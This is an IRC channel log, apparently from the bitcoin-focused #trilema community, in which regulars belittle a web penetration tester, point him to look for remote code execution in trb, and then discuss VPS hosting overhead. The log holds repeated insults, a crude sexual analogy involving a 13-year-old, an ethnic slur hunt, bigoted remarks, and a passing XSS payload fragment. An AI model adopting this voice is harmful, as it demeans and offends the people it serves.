1788493;1521714918;mircea_popescu;you understand most people aren't ~born~ stupid, but become stupid through systematic effort over long intervals. do you ?
1788494;1521715165;douchebag;No, I constantly put effort towards learning more and improving my skills as well as my self.
1788495;1521715199;mircea_popescu;good for you.
1788496;1521715418;douchebag;I'd like to be helpful, I am generally a pretty helpful person. However, I just feel like I could be of more use if I focused on something I'm better suited to help with
1788497;1521715478;mircea_popescu;what you're actually saying is "i opt to waste my youth". which is fine, it's yours to waste.
1788498;1521715514;douchebag;How though?
1788499;1521715589;mircea_popescu;because you're sitting there waiting for reality to change so it may be admitted in yoru movie. that's not how reality works, though there's a bunch of people still waiting for bitcoin to be what they thought of it, back in 2015 or 2013 or 2011 or w/e the fuck they first heard of it, formed a fantasy and adhered to it.
1788500;1521715867;douchebag;Well I don't understand how I'm sitting here waiting for reality to change? Are you saying there's absolutely nothing that I could help with here in regards to Information Security?
1788501;1521715913;mircea_popescu;i'm saying that your notion of helping is so constructed so as to preclude helping, yes.
1788502;1521715976;douchebag;Okay, and suppose I do write a V. What's next?
1788503;1521715998;mircea_popescu;i don't know.
1788504;1521716153;douchebag;Like I said, I would like to help. I know how to code but I would be much better at helping w/ security related topics. I would not want to write a V just to find out that the only way for me to help would be for me to code stuff
1788505;1521716175;mircea_popescu;right.
1788506;1521716431;douchebag;So, do you think I should even bother?
1788507;1521716446;douchebag;or do you think I would just be disappointed
1788508;1521716499;mircea_popescu;i don't think you can be anything but disappointed, in your current state.
1788509;1521716639;douchebag;What is my current state?
1788510;1521716644;douchebag;I love what I do
1788511;1521716654;douchebag;I'm good at what I do
1788512;1521716674;mircea_popescu;http://btcbase.org/log/2018-03-22#1788499
1788513;1521716674;a111;Logged on 2018-03-22 10:46 mircea_popescu: because you're sitting there waiting for reality to change so it may be admitted in yoru movie. that's not how reality works, though there's a bunch of people still waiting for bitcoin to be what they thought of it, back in 2015 or 2013 or 2011 or w/e the fuck they first heard of it, formed a fantasy and adhered to it.
1788514;1521716759;diana_coman;douchebag, learning something is never a waste of time; and learning what you "are not good at" is quite doubly NOT a waste of time; "outcome" as you currently define it doesn't enter into it at all; and for that matter: http://trilema.com/2015/causes-and-purposes/
1788515;1521716980;douchebag;diana_coman: I agree with you. The reason I'm a bit hesitant is because I know what I'm not good at. I know how to code, I write code almost every single day. However, I don't code for the same reasons most people do
1788516;1521717000;mircea_popescu;what reason is that ?
1788517;1521717035;diana_coman;what are the "same reasons most people do" and ..how did you figure out "most people" in there and why they do what they do?
1788518;1521717037;douchebag;I write code for the simple purpose of making my life easier. 95% of the code I write will never be ran by anyone else except myself
1788519;1521717063;mircea_popescu;im pretty sure that's how it goes for most everyone here.
1788520;1521717099;diana_coman;douchebag, why do you concern yourself with what other people do or not do *after* something you didn't even yet do; it's a recipe for insanity this
1788521;1521717131;diana_coman;mircea_popescu, heh, remember WHY I wrote foxybot?
1788522;1521717156;diana_coman;out of frustration with click-click-click
1788523;1521717218;diana_coman;douchebag, your problem still seems to have as root the approach "towards purpose" instead of from causes; try and digest that post
1788524;1521717252;douchebag;Okay, to clarify what I meant by saying "most people" is that people write code to publicly release and be used by others ect..
1788525;1521717258;diana_coman;douchebag, nope
1788526;1521717263;diana_coman;now what?
1788527;1521717295;douchebag;I don't understand what a V is I have read about it, I have looked at examples and I still don't understand
1788528;1521717301;mircea_popescu;diana_coman aha
1788529;1521717335;douchebag;If I understood it completely it would be no problem coding it.
1788530;1521717344;mircea_popescu;so then there youi go.
1788531;1521717354;diana_coman;douchebag, that already sounds healthier at any rate
1788532;1521717434;diana_coman;douchebag, write somewhere a summary of what you understand of it and what you don't - it will help you formulate some clear questions to...ask in here, so people can help you understand
1788533;1521717474;douchebag;I literally do not understand anything. I don't know what a vpatch is or anything. The concept just does not make sense
1788534;1521717484;douchebag;From what I can tell
1788535;1521717490;diana_coman;what concept?
1788536;1521717531;diana_coman;there are plenty of vpatches around - have a look at them for "what a vpatch is"
1788537;1521717558;douchebag;It just appears to be way of updating code, pgp signing the updates
1788538;1521717573;douchebag;and displaying the difference
1788539;1521717631;diana_coman;so it does make some sense after all
1788540;1521717646;douchebag;that's all that I understand
1788541;1521717651;douchebag;if that is even correct
1788542;1521717684;mircea_popescu;it is.
1788543;1521717706;diana_coman;douchebag, it's fine, you just need to expand now from that
1788544;1521717753;douchebag;Alright
1788545;1521717767;douchebag;So here's the next thing
1788546;1521717829;douchebag;If I do this and I am successful, am I going to be expected to work on programming projects or could I find something that I would be able to help with in regards to information security
1788547;1521717888;mircea_popescu;depends what you mean by the latter.
1788548;1521718079;douchebag;I can identify security flaws & help with properly remediating the issue
1788549;1521718098;douchebag;I primarily focus on web application and network based penetration testing
1788550;1521718107;mircea_popescu;right.
1788551;1521718152;douchebag;So, would those skills be of use here?
1788552;1521718286;douchebag;Also, I would be interested in starting a security firm
1788553;1521718324;mircea_popescu;sigh.
1788554;1521718325;douchebag;Offering remote & in person security solutions both offensive and defensive
1788555;1521718349;douchebag;That was a plan of mine to do later down the road
1788556;1521718386;douchebag;However, if you guys would be interested in doing that sort of thing I would be more than happy to help.
1788557;1521718426;mircea_popescu;you really think you're going to eat out of blabla.php?=<alert whatever ?
1788558;1521718458;douchebag;Can you elaborate?
1788559;1521718501;mircea_popescu;information security is what apeloyee's been doing on alf's blog, or ave1 on diana_coman 's or so on and so forth.
1788560;1521718522;douchebag;Could I read the blogs?
1788561;1521718526;mircea_popescu;sure.
1788562;1521718587;douchebag;Link pls
1788563;1521718650;mircea_popescu;do you read the logs douchebag ? or just stumble in this window now and again and that's it ?
1788564;1521718677;mircea_popescu;http://btcbase.org/log/2018-02-04#1781038 ; http://btcbase.org/log/2018-03-21#1788335 etc
1788565;1521718677;a111;Logged on 2018-02-04 18:21 asciilifeform: !~later tell apeloyee http://www.loper-os.org/?p=2118&cpage=1#comment-19228
1788566;1521718677;a111;Logged on 2018-03-21 13:36 diana_coman: found it: http://www.dianacoman.com/2017/12/28/eucrypt-chapter-3-miller-rabin-implementation/#selection-169.0-169.1019 <- ave1
1788567;1521718722;douchebag;I've read the logs partially, however I haven't finished them
1788568;1521718965;douchebag;Alright, yes that is some very interesting research. However, that's not exactly the same area of InfoSec that I have been studying.
1788569;1521718981;mircea_popescu;certainly not.
1788570;1521719131;douchebag;Yes, and that's one of the reasons why I'm not too sure if the areas I focus would even be relevant to the projects you guys work on
1788571;1521719198;douchebag;For instance, what you mentioned in regards to XSS. XSS is the sort of thing that would have little to no impact on a site like trilema.com
1788572;1521719222;douchebag;However, if it was found on an online banking platform it would be very serious.
1788573;1521719259;mircea_popescu;for some definitions of serious.
1788574;1521719307;diana_coman;I can't help but read that as "I'm not too sure if my focus on finding rats in take-aways would even be relevant to your actual cooking"
1788575;1521719520;douchebag;Well, I've stated previously that I intend on learning more about some of the more low level attack vectors
1788576;1521719813;douchebag;Most of the work I currently do is focused around protecting customers
1788577;1521719928;douchebag;Perhaps I would be able to help w/ Pizzaro ISP?
1788578;1521730766;asciilifeform;http://btcbase.org/log/2018-03-22#1788491 << lol >> http://trilema.com/2011/la-ce-imi-serveste-mie-radicalurile/
1788579;1521730766;a111;Logged on 2018-03-22 10:34 douchebag: It would not be unpleasant if it had not already been done before multiple times, what's the point of reinventing the wheel?
1788580;1521730814;asciilifeform;douchebag are you ok with eurolangs or do you need this englishized
1788581;1521730988;asciilifeform;!~ticker --market all
1788582;1521730995;jhvh1;asciilifeform: Bitstamp BTCUSD last: 8552.65, vol: 14072.22693838 | Bitfinex BTCUSD last: 8550.8, vol: 60153.85681754 | Kraken BTCUSD last: 8558.0, vol: 12690.6100365 | Volume-weighted last average: 8552.15078783
1788583;1521731998;douchebag;englishized i guess
1788584;1521732166;asciilifeform;i'ma let mircea_popescu give the one-troo summary if he feels like ( it's his article ) but will say, it was about the archetypical f-student schoolbois's canonical lament 'what good will learning square roots do for me'
1788585;1521732341;mod6;I would say, douchebag, that if you don't know how to, at minimum, ~use~ V, you'll find it very difficult to participate.
1788586;1521732377;mod6;I've said this to others, I'm sure, that before even contemplating writing a V, you should be well versed in it ~use~.
1788587;1521732394;mod6;*its
1788588;1521732414;asciilifeform;ftr this applies to everybody. incl. asciilifeform , who had been 'using v' by hand-crank for year+ prior to writing the actual one
1788589;1521734239;mircea_popescu;asciilifeform can't say i'm tempted. the structure still can not be predicated on the meaning, what am i going to do, argue with the "rationally skeptical" http://btcbase.org/log/2014-02-16#509012 ?
1788590;1521734239;a111;Logged on 2014-02-16 22:04 asciilifeform: old man: 'drown him, father, drown, drown.'
1788591;1521734307;asciilifeform;at the risk of abusing proverb -- teacher can lead horse to water, but cannot make him take square roots
1788592;1521734319;shinohai;!!invoice danielpbarron 0.016496929 Ecu trade (ecu not settled yet )
1788593;1521734325;deedbot;Get your OTP: http://p.bvulpes.com/pastes/i0x5U/?raw=true
1788594;1521734416;shinohai;!!v 24A9E807E62D1F734080DD09045384C75311E123677AB55D72CB6BC4EB21F2AA
1788595;1521734421;deedbot;Invoiced danielpbarron 0.016496929 << Ecu trade (ecu not settled yet )
1788596;1521734455;asciilifeform;mircea_popescu: my impression is, some folx like 'pumping' their head, like muscle men pump muscles, others -- not. and who's who, is apparent from early childhood.
1788597;1521734465;mircea_popescu;maybe.
1788598;1521734500;mircea_popescu;i do however believe the foregoing statement, that high quality, sterling stupidity is always manufactured, never inborn. most people are poorly socialized from birth.
1788599;1521734550;asciilifeform;fwiw asciilifeform does a few things (not really worth writing about) in his ( not overly abundant ) sparetime that wouldn't make any sense whatsoever to a 'la ce imi serveste mie...' pov , strictly to 'stretch muscle'
1788600;1521734560;BingoBoingo;http://btcbase.org/log/2018-03-22#1788483 << Vowels shift, R's roll faster, but still trying to find an ethnic slur that can stick to the Uruguayos (fucking self delusion of white priviledge)
1788601;1521734560;a111;Logged on 2018-03-22 06:11 mircea_popescu: BingoBoingo ftr, it's euphEmisms and venezuEla. are your voewls shifting from all the tuna you're eating or what!
1788602;1521734568;mircea_popescu;the unsustainable, unacceptable etc systematically misrepresented to them as socially acceptable, the necessary, correct etc equally systematically misrepresented as socially unacceptable... it's true that this is grade A child abuse, but then again it's also true the children so abused carry on the sad smoldering stumps of what's left of their lives
1788603;1521734576;mircea_popescu;in turn perpetuating the abuse cycle upon others.
1788604;1521734662;asciilifeform;most folx are no more capable of conceiving an ~original~ abuse than of original symphony or theorem, lol
1788605;1521734668;asciilifeform;so naturally propagates.
1788606;1521734688;mircea_popescu;not even sure how original the whole "nopenopenope" thing is.
1788607;1521734688;mircea_popescu;or could be, at that.
1788608;1521735314;ben_vulpes;i'm going to hand crank ^^ for now
1788609;1521735556;ben_vulpes;http://logs.bvulpes.com/trilema?d=2018-3-22#317063 << you showed up, said 'help, what do i do', and i said 'go, son, and this thing.' it's a severalfold test: can you wrap your head around the concepts in v? can you take orders when you ask for them? it's a layered pile of crash course in not flunking out of the republic. in re 'what am i expected to do', look either you eventually grow up and start picking
1788610;1521735556;mimisbrunnr;Logged on 2018-03-22 11:17 douchebag: If I do this and I am successful, am I going to be expected to work on programming projects or could I find something that I would be able to help with in regards to information security
1788611;1521735558;ben_vulpes;your own research targets in which case you're a man and can make your own decisions or you need orders and will be told what to do. picking your own targets is an act of *creativity*, which i muchly doubt i'll see much of from a metasploit crank-puller. as it stands i don't really expect you to do anything but it's a low bar and a single task to show me wrong.
1788612;1521735661;mircea_popescu;now on to the issue of the vps. is pizarro coming up with something in short enough order it's worth having the whole genesis mp-wp wait on it, or rather should more business go away and hanbot pick herself yet another rando vps host ?
1788613;1521735661;douchebag;ben_vulpes: Like I've said, I focus primarily on web application exploitation and I do everything manually.
1788614;1521735703;douchebag;Where did you get this notion that I am a 'metasploit crank-puller'
1788615;1521735705;douchebag;?
1788616;1521735721;ben_vulpes;mircea_popescu: working with asciilifeform to vpsify the idle box now
1788617;1521735731;mircea_popescu;so the eta is on the order of days ?
1788618;1521735742;ben_vulpes;i'll get you an eta mircea_popescu
1788619;1521735745;mircea_popescu;ty
1788620;1521735771;mircea_popescu;can the eta on the eta be today-ish then, plox/
1788621;1521735848;ben_vulpes;yessir
1788622;1521735879;ben_vulpes;douchebag: well it's what it looks like from here, take the ad hominem and show me it's wrong yeah?
1788623;1521735938;mircea_popescu;douchebag if 13 yo kid comes to psychologist's office because insomnia, and after some hymenlick maneouvering on the part of the professional comes out with the story that has "terrifying and disturbing dreams", thereuponwhich recounts numerous instances of dreamed tits, nipples and areola but 0 clits, labia or vaginal openings, the psychologist can safely thereby infer 13yo kid is a virgin.
1788624;1521735963;ben_vulpes;in unrelated "mouths of babes", "what's daddy doing? having a penis?" "every day, kiddo"
1788625;1521735982;mircea_popescu;should however same kid in same situation describe anal beads with nubbins on them and other arcana 13yo kids notably (and notedly, throughout history of civilisation) can NOT on their own come up with, psychologist similarily has a solid child abuse referral case.
1788626;1521735989;douchebag;Well, I've been paid thousands of dollars in bug bounties. All of which I have found manually.
1788627;1521736009;douchebag;I also work for a security firm at the moment.
1788628;1521736020;mircea_popescu;there is no certificate of ontology.
1788629;1521736035;ben_vulpes;douchebag: you realize you're "telling and not showing" and that nobody cares about your fiatland sekyooridee credentialing?
1788630;1521736053;mircea_popescu;ben_vulpes in fairness he tried to show, and inexplicably it didn't work.
1788631;1521736057;douchebag;I've showed mircea_popescu some of my blogs before
1788632;1521736075;douchebag;Which were SSRF & SSRF + XXE
1788633;1521736090;mircea_popescu;http://btcbase.org/log/2018-03-08#1787452 and all that.
1788634;1521736090;a111;Logged on 2018-03-08 21:29 mircea_popescu: meditation upon http://btcbase.org/log/2018-03-08#1787343 yields the interesting result that problem spaces are not continuous. problem spaces are discrete, and there exists such a thing as problem spans.
1788635;1521736100;ben_vulpes;mircea_popescu: musta been jarring
1788636;1521736130;ben_vulpes;douchebag: i dunno man, i'm going to weary of picking things for you in short order but maybe try to sidechannel the mpi lib?
1788637;1521736136;shinohai;Here I thougt one got a certificate in monology
1788638;1521736138;ben_vulpes;webshit is just uninteresting, like mcdonalds
1788639;1521736148;mircea_popescu;it's interesting to me, honestly. i expect from his pow we appear as half insane half irresponsible, and the question of where's the hole the day comes in through quite poignant.
1788640;1521736285;ben_vulpes;sure does not look like he's putting any time into figuring out why nobody cares about his boy scout badges.
1788641;1521736476;douchebag;ben_vulpes: It's interesting to me, and considering pretty much any large company or organization has a web application in their infrastructure I feel like it's a pretty good area to focus on in terms of security research.
1788642;1521736479;mircea_popescu;right. i expect it's the first time anyone even said within earshot this whole pantsuit badge collecting isn't even socially accepted, let alone required.
1788643;1521736502;mircea_popescu;douchebag this is not unlike becoming a dermatologist because most people have skin.
1788644;1521736515;mircea_popescu;it's somehow funny when the md says it.
1788645;1521736548;ben_vulpes;douchebag: do you understand why it's uninteresting to this particular group of terrorists?
1788646;1521736549;douchebag;You guys sure do feel great about yourselves don't you?
1788647;1521736587;ben_vulpes;oh baby don't take it personally, sit with the discomfort for an hour and figure out the root of it.
1788648;1521736609;shinohai;douchebag: Project much?
1788649;1521736673;douchebag;How am I projecting? You're the ones who are acting like you're somehow better because you have different interests.
1788650;1521736880;douchebag;"i don't know how you think you know better what to do with your time than mp"
1788651;1521736898;douchebag;"mp is better than you; stop pretending like he isn't"
1788652;1521736906;shinohai;http://btcbase.org/log/2018-01-23#1774684 , http://btcbase.org/log/2018-01-23#1774709 , http://btcbase.org/log/2018-03-22#1788626
1788653;1521736906;a111;Logged on 2018-01-23 06:43 douchebag: I can sit in front of my computer for 36 hours straight researching a specific topic
1788654;1521736906;a111;Logged on 2018-01-23 06:53 douchebag: I also have an extremely good memory compared to most people, I can remember very specific details about events and conversations that happened years prior
1788655;1521736906;a111;Logged on 2018-03-22 16:26 douchebag: Well, I've been paid thousands of dollars in bug bounties. All of which I have found manually.
1788656;1521736907;douchebag;danielpbarron said this earlier
1788657;1521736928;shinohai;I could continue, but what do I care? I'm on my way out here myself.
1788658;1521737027;douchebag;https://i.imgur.com/2Tn47SJ.png
1788659;1521737056;douchebag;Oh yeah, and I'm the one projecting.
1788660;1521737098;ben_vulpes;you did come here and ask for guidance, lol
1788661;1521737117;douchebag;No, I came here so that I could help.
1788662;1521737121;ben_vulpes;this "all hobbies are equally valid" thing ain't gonna carry water fwiw
1788663;1521737158;asciilifeform;douchebag: iirc you came and 'i am very good at finding bugs in php' and found a few and folx said 'thanx' and what do you want now ?
1788664;1521737176;shinohai;A merit badge obviously.
1788665;1521737177;asciilifeform;there is not a future with vastly moar php in it
1788666;1521737199;douchebag;No, I figured that maybe I could help more
1788667;1521737207;asciilifeform;douchebag you trained as a technician and the tubes you trained on are on their way out. sad (for you) but true. consider learning something else.
1788668;1521737215;douchebag;but instead you jerkoffs just told me to write a v implementation
1788669;1521737242;asciilifeform;douchebag: didja ever go to school of any sort ? did they give you Great Unsolved Problems to solve in school ? or old, solved ones ?
1788670;1521737266;douchebag;asciilifeform: I can find bugs in just about any web framework, not just php.
1788671;1521737266;mod6;douchebag: did you ever build trb?
1788672;1521737269;mircea_popescu;douchebag no, actually : we are explicit about the [little] we feel good about ourselves. the "alternative" such as it misrepresents itself, is very successfully implicit about how [grandiosely] it feels good about itself. but somehow you don't go up to some clueless dork pretending to run a "security business" and be "your boss" and ask him whence he feels that insanely overstretchedkly good about himself. for SOME reason.
1788673;1521737384;mircea_popescu;http://btcbase.org/log/2018-03-22#1788651 << amusingly enough, i'm probably a better "website security" dood than you, if that's what you mean, or at least so the folk in the know believe, on the strenght of the various website fuckings / wp ddos writeups etc i've piled up over the years. but this is a little like disputing the sackrunning competition.
1788674;1521737384;a111;Logged on 2018-03-22 16:41 douchebag: "mp is better than you; stop pretending like he isn't"
1788675;1521737388;asciilifeform;douchebag: why limited to 'web framework' ? if you consider yerself fit for work in hard/unsolved problems -- why not go and find remotely exploitable boojum for trb
1788676;1521737396;asciilifeform;douchebag: will be taken seriously quite quickly.
1788677;1521737407;douchebag;trb?
1788678;1521737408;douchebag;link
1788679;1521737424;asciilifeform;douchebag: therealbitcoin.org
1788680;1521737427;mod6;you have never read the logs 'eh
1788681;1521737445;mod6;you can't say that you read the logs, and also do not know where trb is or what it is.
1788682;1521737447;douchebag;mod6: not in full, I don't have a ton of time on my hands to read 6 months of logs
1788683;1521737450;ben_vulpes;douchebag: see dude this is why i can't take you seriously, you have zero context for what's going on here and yet you insist on strutting around as though you matter
1788684;1521737481;douchebag;ben_vulpes: How am I supposed to take anything in here seriously if nobody can tell me anything besides
1788685;1521737482;douchebag;"
1788686;1521737483;mircea_popescu;ben_vulpes "here is everything". he was promised his context is universal by teh universalist party.
1788687;1521737488;douchebag;"read the logs"
1788688;1521737490;mircea_popescu;you're not saying he was scammed, do you.
1788689;1521737500;ben_vulpes;mircea_popescu: haw haw haw
1788690;1521737529;mircea_popescu;ayup
1788691;1521737530;ben_vulpes;douchebag: you did just get a link to trb
1788692;1521737541;ben_vulpes;no fucking way anyone's going to try to enumerate the holes in your education
1788693;1521737552;asciilifeform;ben_vulpes: i suspect that 'chukcha is not a reader, he is a writer'
1788694;1521737568;douchebag;I didn't get a link to trb.
1788695;1521737585;mod6;i gotta look this up now
1788696;1521737586;shinohai;>Can't be annoyed to read logs, yet "can sit in front of computer 36 hours straight researching a specific topic"
1788697;1521737609;shinohai;http://thebitcoin.foundation/trb-howto.html
1788698;1521737611;mircea_popescu;http://btcbase.org/log/2018-03-22#1788649 << this is actually very true ; if theres a predicate for republican superiority, is the better choice of interests.
1788699;1521737611;a111;Logged on 2018-03-22 16:37 douchebag: How am I projecting? You're the ones who are acting like you're somehow better because you have different interests.
1788700;1521737617;ben_vulpes;also i don't give one watt of credence to this 'no time' thing; i've read logs daily for what, four years? started and sold out of a company, had more than one 'job' at points, manage a family and still keep up and contribute
1788701;1521737617;asciilifeform;shinohai: he'll, apparently, read for 36 months if it's webgarbage by microshit press etc
1788702;1521737638;mod6;I have personally, at least, posted 'thebitcoin.foundation' in here 196 times.
1788703;1521737661;ben_vulpes;douchebag: if you cannot read through thebitcoin.foundation website and get to trb i do not know what future there is for you
1788704;1521737687;asciilifeform;i dun think more than a week has gone by, at any point since trb first proclaimed , when trb was not mentioned in some way
1788705;1521737782;douchebag;Okay, suppose I can get remote code execution w/ trb
1788706;1521737830;mod6;then tell us for christsakes
1788707;1521737830;mircea_popescu;that'd be interesting.
1788708;1521737839;asciilifeform;douchebag: then you have various options. and you don't need me or anyone to tell you what these are.
1788709;1521737842;asciilifeform;use imagination.
1788710;1521737843;douchebag;Okay, I'll look into that.
1788711;1521737901;asciilifeform;point being that a student who is tired of 'solved problems' can demonstrate mastery any time he's ready and able.
1788712;1521737906;asciilifeform;by solving unsolved one.
1788713;1521737911;mircea_popescu;http://btcbase.org/log/2018-03-22#1788650 << this is also interesting. note however it's misstated. whether you know better or not what to do with your time is not generally touched ; but you sure as fuck don't know better what NOT to do with your time, which is time and again the crux of the matter.
1788714;1521737911;a111;Logged on 2018-03-22 16:41 douchebag: "i don't know how you think you know better what to do with your time than mp"
1788715;1521738003;douchebag;I just don't see what was so damn difficult about that? If you guys told me to look for RCE in trb this conversation could have ended hours ago
1788716;1521738047;shinohai;Because the Republic isn't in the business of tard wrangling?
1788717;1521738052;ben_vulpes;i thought this was too obvious to point out, did not want to further insult douchebag's intelligence
1788718;1521738057;asciilifeform;this is why 'technician'. an actual adept does not have to be told.
1788719;1521738077;asciilifeform;technician -- told. 'my tv lost vertical raster, tell me what do'
1788720;1521738120;asciilifeform;it is not insult to intelligence, either. technicians have a place. but douchebag gotta decide which it is that he wants to be, and stop pretending to be the other.
1788721;1521738179;ben_vulpes;douchebag: until you wrap your head around what goes on here, you're going to be fighting this negative impression where you insist that you're smart and educated etc, just...not in any topics that anyone here cares about eg trb as a basis for murdering the megastate and all barnacles like ecommerce/ssl/securitycircus hanging off the side
1788722;1521738190;ben_vulpes;not to insult your trade, but to try and hammer home the paradigms you're missing
1788723;1521738265;ben_vulpes;man i can't even find the juice to beat this kind of thinking into the heads of people at $work; they gotta come preconfigured for utility
1788724;1521738357;douchebag;ben_vulpes: Why do you write web applications if you're going to allow vulnerabilities in your code?
1788725;1521738388;asciilifeform;douchebag: since you do not read logs, you may be surprised and interested to find out that folx like you show up regularly, e.g. http://btcbase.org/log/2017-03-24#1632239
1788726;1521738388;a111;Logged on 2017-03-24 03:17 gabriel_laddel_p: BingoBoingo: "I should study more" isn't a winning idea. GTFO.
1788727;1521738391;douchebag;Wouldn't it make sense to make sure you're doing something the right way before you go ahead and do it?
1788728;1521738410;ben_vulpes;bit of a nonsensical question
1788729;1521738415;mircea_popescu;ahahaha he got you there didn't he ?
1788730;1521738418;ben_vulpes;why bother fucking if your dick's going to pop out?
1788731;1521738434;mircea_popescu;yes douchebag. the whole point is to do things right.
1788732;1521738451;douchebag;Good, I'm glad someone is on the same page as me.
1788733;1521738452;ben_vulpes;mircea_popescu: yeah i care quite deeply about folks clicking links with b58 encoded piles of trash in the url
1788734;1521738463;mircea_popescu;indeed, this may be the first shared prior unearthed yet. but it's solid.
1788735;1521738492;mircea_popescu;ben_vulpes ok, but it's not DIRECTLY obvious, this.
1788736;1521738516;ben_vulpes;mircea_popescu: doing things correctly also implies knowing what hairballs of stupid to cut off and not consider.
1788737;1521738531;mircea_popescu;kinda like... how he does ?
1788738;1521738553;mircea_popescu;yues, fucking obviously, kuhn's notion of "paradigm" in research is precisely that, what beds to not look under.
1788739;1521738655;danielpbarron;!!pay-invoice shinohai 1
1788740;1521738659;deedbot;Get your OTP: http://p.bvulpes.com/pastes/kbxJb/?raw=true
1788741;1521738996;ben_vulpes;!~later tell hanbot drop by #pizarro sometime soon and opine re http://logs.bvulpes.com/pizarro?d=2018-3-22#317360 please
1788742;1521738996;mimisbrunnr;Logged on 2018-03-22 17:08 asciilifeform: i for instance do not see why , if it's wot l1 people living in it, it has to expend the cpu overhead to pretend-isolate and vm-ize. why not simply traditional unix accounts.
1788743;1521738996;jhvh1;ben_vulpes: The operation succeeded.
1788744;1521739135;mircea_popescu;^
1788745;1521739163;mircea_popescu;use linux accounts. the "isolation" bs is bs.
1788746;1521739185;ben_vulpes;mircea_popescu: tru tru; what objections would you field to sharing a host with l2?
1788747;1521739190;mircea_popescu;if there's actual demand for some reason, can always stand up a box with all that crap later. or entreprising fellow can just resell one.
1788748;1521739215;mircea_popescu;ben_vulpes depends what host. a blog ? i dunno man, what sikrits can they glean!!!!
1788749;1521739239;asciilifeform;in general engineering practice, one of the very few good heuristics asciilifeform knows for 'improve X' is 'discard pretenses'
1788750;1521739244;mircea_popescu;^
1788751;1521739245;asciilifeform;as for example fg discards whitening
1788752;1521739260;mircea_popescu;makes for spectacularly improved items, too.
1788753;1521739261;asciilifeform;'if there ain't any entropy, there wont be any fucking output, take it or leave'
1788754;1521739566;asciilifeform;in asciilifeform's experience with shared unix boxen in youth, the most typical problem is not 'seekritz' but 'hamfist hoses the box'
1788755;1521739574;mircea_popescu;meanwhile in unexpected lulz, http://trilema.com/2018/why-african-americans-can-never-excel-at-anything-relative-to-the-white-majority-they-cant-be-the-smartest-nor-the-poorest-nor-the-best-nor-the-neediest-nor-the-anything-else-est-not-ever/#comment-125050
1788756;1521739644;mircea_popescu;asciilifeform i've not yet managed to properly speaking hose a modern box (hosed as in, root can't log in to fix it)
1788757;1521739690;mircea_popescu;not even sure what it'd take, but we could have a competition, "shorters bash line that hoses box"
1788758;1521739700;ben_vulpes;heh, this'll turn into our bitbet moderation cost center without care
1788759;1521739715;asciilifeform;'hose' perhaps was poor word. more of a 'root MUST come and fix because d00d decided to eat all of cpu' in box without quota-'fascism'
1788760;1521739733;asciilifeform;ben_vulpes yes, potential risk
1788761;1521739750;mircea_popescu;asciilifeform how will anyone eat all the ram, apache runs as nobody anyway.
1788762;1521739770;asciilifeform;in scenario where the only user proggy is apache -- correct, cannot eat
1788763;1521739785;asciilifeform;but once you introduce 'i want to run XYZ' -- can eat
1788764;1521739789;mircea_popescu;well if you're not using it to publish web shits, get a proper box.
1788765;1521739795;ben_vulpes;yo trinque can i get you to opine on http://logs.bvulpes.com/pizarro?d=2018-3-22#317403 please
1788766;1521739795;mimisbrunnr;Logged on 2018-03-22 17:18 ben_vulpes: can we leverage chroot for this?
1788767;1521739900;asciilifeform;back to the 'let's remove pretenses' -- let's put on record for the log: the 'traditional' style of vps is quite heavy in overhead, because pointlessly emulates for each inhabitant 'you have a i-cant-believe-its-not-a-physical-box-with-physical-nic-and-disks-etc' item
1788768;1521739921;mircea_popescu;yes, i expect 60% of the box goes to that wastage by now.
1788769;1521739932;asciilifeform;this is 1) costly , vmization imposes continuous context-switching for cpu, even with the acceleration garbage it is ruinous  2) pointless, because readily 'escaped' from
1788770;1521739932;ben_vulpes;60%!?
1788771;1521739939;mircea_popescu;which 60% can also be used to... you know, buffer the occasional mass mysql rewrite or w/e user needs
1788772;1521739950;asciilifeform;ben_vulpes: correct. what do you suppose duplicate multi-GB linuxen in ram at all times, cost nothing ??
1788773;1521739951;mircea_popescu;ben_vulpes yes. fucks up everything, cache, etc
1788774;1521739990;mircea_popescu;it's the pantsuit gift of "progress", tends to soak up about 60% of the living life to do nothing at all. much like their tax system.
1788775;1521740000;ben_vulpes;asciilifeform: does the 'cgroups' 'containerization' sharedhosting approach waste the same amount?
1788776;1521740023;ben_vulpes;it's been some time since i gave a shit but the 'docker' folks were very proud of the resource sharing that linus wrote for them
1788777;1521740036;asciilifeform;ben_vulpes: afaik that's more of an asymmetric-multiprocessing flavour of thing
1788778;1521740041;asciilifeform;but i have not personally tried
1788779;1521740059;asciilifeform;basic problem remains, if each inhabitant is given illusion of 'i have a comp', this is not free
1788780;1521740075;asciilifeform;you have now N instances of the multi-GB garbage shitpile that is modern linux, instead of 1, in memory.
1788781;1521740078;asciilifeform;and on disk.
1788782;1521740080;mircea_popescu;particularly ill suited application for ibm compatible designed hardware.
1788783;1521740086;ben_vulpes;sure, walls in highdensity apartment building also wasteful of square footage
1788784;1521740091;mircea_popescu;because cpu is so small comparatively.
1788785;1521740094;asciilifeform;and N kernels being run instead of 1 (each of which thinks that it owns an actual iron comp)
1788786;1521740113;asciilifeform;not only cpu; they all share bus, and nic
1788787;1521740125;mircea_popescu;ben_vulpes nah, walls in apt building is the linux user system. you're thinking of english "cottages" piled up in town, each with their 3 sq ft "garden" in front.
1788788;1521740133;asciilifeform;and the friction is substantial and is in fact not 60 but 90+% of the resources spent at shitazon etc
1788789;1521740136;ben_vulpes;heh oh okay
1788790;1521740139;mircea_popescu;ever been to england btw ? worse wastage of construction materials never was seen.
1788791;1521740157;ben_vulpes;not even japan with the traditional every-30-year rebuild of housing stock?
1788792;1521740162;mircea_popescu;not even.
1788793;1521740181;ben_vulpes;last time i was in england i was like 14
1788794;1521740187;mircea_popescu;imo brits are the dumbest of animals, and for two reasons : the constant rape the muslims put them through, and the constant rape the real estatists put them through.
1788795;1521740195;asciilifeform;japan at least has excuse of resource-impoverished godforsaken island with 0 minerals
1788796;1521740206;ben_vulpes;was more interested in the adults with beer and teenaged girls
1788797;1521740375;lobbes;Ah okay. Thank you asciilifeform, this http://btcbase.org/log/2018-03-22#1788767 satisfied my http://logs.bvulpes.com/pizarro?d=2018-3-22#317425 inquiry sufficiently
1788798;1521740375;a111;Logged on 2018-03-22 17:31 asciilifeform: back to the 'let's remove pretenses' -- let's put on record for the log: the 'traditional' style of vps is quite heavy in overhead, because pointlessly emulates for each inhabitant 'you have a i-cant-believe-its-not-a-physical-box-with-physical-nic-and-disks-etc' item
1788799;1521740375;mimisbrunnr;Logged on 2018-03-22 17:23 lobbes: To run with the house analogy: my current vps arrangements feel more like 'condominium' than 'roomies sharing a house'. E.g. I could set up a cronjob to blow away /var/www/ every hour if I felt like it. No need to consult (nor do I see) other renters
